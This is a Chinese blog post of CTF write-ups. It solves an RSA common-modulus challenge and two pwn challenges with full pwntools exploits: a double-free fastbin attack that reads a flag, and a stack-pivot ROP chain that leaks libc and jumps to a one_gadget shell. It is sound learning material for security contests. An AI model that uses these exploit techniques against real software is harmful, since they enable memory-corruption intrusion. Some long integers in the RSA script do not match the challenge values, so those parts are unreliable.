i春秋新春战疫WriteUp

原创

SkYe231_ 于 2020-04-04 00:13:05 发布 263 收藏 1

文章标签： 安全 信息安全 i春秋新春战役 CTF writeup

本文链接：https://blog.csdn.net/weixin_43921239/article/details/105304091

Crypto

1. easy_rsa

下载附件，内容如下：

```
n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143643893954641008795019056213230536893559537454314504753 1
c2 = 92062609350662578291213889536652573304627332927866443743222188355801148598662068246795534444064579191077490740875542775423458202154396467706804036695604744623694006418658109223320236206992102114742080208013862850686982803643698899401679999185862982804683010973495995601304619984933421387922640052282095374626740854107406938617828342123367818218101150041153244700139990924623104142579903107815340568073932061554603714548362304105451710685060441740011729226148051352606705248521391873703354928760940598605767948397049789885071479721094110333777494468213741957216960737487458252735579640155322610008269582883493482696641 1
```

一个 n 两个 e 两个 c，判断为 RSA 共模攻击，上脚本：

```python
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#RSA 共模攻击脚本

from libnum import n2s, s2n
from gmpy2 import invert

# 扩展欧几里得算法
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)


def main():
  n = 275609599183856164194862730095945134600443164763378425854635531057018695316983663046376780086027990051816013108169353940030419304455098011965548977815299626163494421360399519117646209991169157419242457889883327661823056358047547980184897930668117410269020119808071578826393138929326536204913546303540604625948658746637739346706189305049258128332020471831664230432648159058534860532553103460304166874307242041774681767625125660551657981724186222687519687939976763911707732162916077528859879338661631582573365225670862280928633026854938888398665596224296859255257999850620445360325841326027477541078001169600909419576 57
  c1 = 218233068708410161699524817868624367528948404037021980562833576052139285055933010635828515959789325389060672876332955770360421583023749487267493485185630382663738268719509047336910465953879557033058467285309878850759104903624532025986543269472243927185738932411751232855690085195687451534493449665136365852907701270552734429626894621952310168991491017642996632844348058173393488687937090841308620286145877045038628054797921840193345676480787674185763161709761109911289338866394027712949978110259425444552555890812802445459013946818664212230664224846543012986621436483895464100879501905621323053689355953745431450475 31
  c2 = 920626093506625782912138895366525733046273329278664437432221883558011485986620682467955344440645791910774907408755427754234582021543964677068040366956047446236940064186581092233202362069921021147420802080138628506869828036436988994016799991858629828046830109734959956013046199849334213879226400522820953746267408541074069386178283421233678182181011500411532447001399909246231041425799031078153405680739320615546037145483623041054517106850604417400117292261480513526067052485213918737033549287609405986057679483970497898850714797210941103337774944682137419572169607374874582527355796401553226100082695828834934826966 4
  e1 = 464857
  e2 = 190529
  s = egcd(e1, e2)
  s1 = s[1]
  s2 = s[2]
  # 求模反元素
  if s1 < 0:
    s1 = - s1
    c1 = invert(c1, n)
  elif s2 < 0:
    s2 = - s2
    c2 = invert(c2, n)

  m = pow(c1, s1, n) * pow(c2, s2, n) % n
  print(n2s(m))  # 二进制转string


if __name__ == '__main__':
  main()
```

Pwn

Some_thing_exceting

64 位打开 Canary、NX ，菜单式程序，基本增删查改功能。creat 函数内发现数据结构体，允许 size 为 1~112 ：

```
struct Banala{
    char *ba;
    char *na
}
```

漏洞为 double free ， 位于 delete 函数，free 后没有归零指针：

```
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("########################");
  puts("#    Delete Banana     #");
  puts("#----------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 < 0 || v1 > 10 || !ptr[v1] )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  free(*(void **)ptr[v1]);                      // free ba
  free(*((void **)ptr[v1] + 1));                // free na


  free(ptr[v1]);                                // free struct
  puts("#----------------------#");
  puts("#      ALL Down!       #");
  puts("########################");
  return __readfsqword(0x28u) ^ v2;
}
```

在看后门函数 read_flag() ，将 flag 读入到 bss 段，并且（15行）写入 0x60 。若假设 flag 位于某一个堆的 fd 位置， 0x60 刚好位于该堆的 size 位。

```
unsigned __int64 read_flag()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  byte_6020A0 = 96;                             // chunk size
  fgets(s, 45, stream);
  return __readfsqword(0x28u) ^ v2;
}
```

利用思路：double free 让某一个堆既处于 fastbin 又是被分配状态。修改该堆 fd 指针，重新分配相同大小堆，用程序 view 函数读出。

完整 exp 如下：

最后一轮申请堆使用的是0x20 是因为修改了堆数据，申请其他大小会报错，所以就用 fastbin 中剩下的堆，gdb 查一下就看到了剩下 0x20 ，所以用 0x20 。

```
#coding:utf-8
from pwn import *

context.log_level = 'debug'
p = process("./excited")

def creat(ba_len,ba,na_len,na):
    p.recvuntil("want to do :")
    p.sendline("1")

    p.recvuntil("length :")
    p.sendline(str(ba_len))
    p.recvuntil("ba :")
    p.sendline(ba)

    p.recvuntil("length :")
    p.sendline(str(na_len))
    p.recvuntil("na :")
    p.sendline(na)

def delete(id):
    p.recvuntil("want to do :")
    p.sendline("3")

    p.recvuntil("ID :")
    p.sendline(str(id))

def view(id):
    p.recvuntil("want to do :")
    p.sendline("4")

    p.recvuntil("ID :")
    p.sendline(str(id))

creat(0x50,'a'*0x50,0x50,'b'*0x50)//被double free chuck
creat(0x50,'c'*0x50,0x50,'d'*0x50)//用于隔开double free chunk
creat(0x50,'e'*0x50,0x50,'f'*0x50)//防止上面两个chunk free 与top chunk合并

delete(0)
delete(1)//间隔
delete(0)//double free


creat(0x50,p64(0x06020A8-0x10)*10,0x50,p64(0x06020A8-0x10)*10)//edit chunk1 fd to flag
creat(0x50,'',0x50,'')
creat(0x50,'',0x20,'')
view(5)
p.interactive()
```

还有点不清楚的就是：完成 double free 后申请堆的时候，使用 fastbin 的顺序很奇怪。具体点说：每轮 free fastbin 会增加 1 个 0x20 、2 个 0x60 chunk 。但是最终 free 3 轮后有 4 个 0x20 、6 个 0x60 。紧接着第一轮申请使用的是第三轮和第二轮各一个 0x60 。最后我是每申请一次就调试一次，看每次申请的是那块 chunk。

这里搞了很久，各位师傅知道的告诉一下。

borrowstack

64 位栈迁移

```
from pwn import *

context.log_level = 'debug'
p = process("./borrowstack")
elf = ELF("./borrowstack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bank = 0x601080
pop_rdi = 0x400703
leave = 0x400699
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
one_gadget = 0xf02a4

payload_0 = 'a'*0x60
payload_0 += p64(bank+0x90) + p64(leave)
p.recvuntil('want')
p.send(payload_0)

pay='\0'*0x90+p64(bank+0x60)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pay+=p64(0x0400680)
p.sendafter('now!\n',pay)

libc_base=u64(p.recv(6)[:].ljust(8,'\0'))-libc.symbols['puts']
info("one:"+hex(libc_base+one_gadget))

pay='a'*0x60+p64(0xdeadbeef)+p64(one_gadget+libc_base)
p.sendline(pay)

p.interactive()
```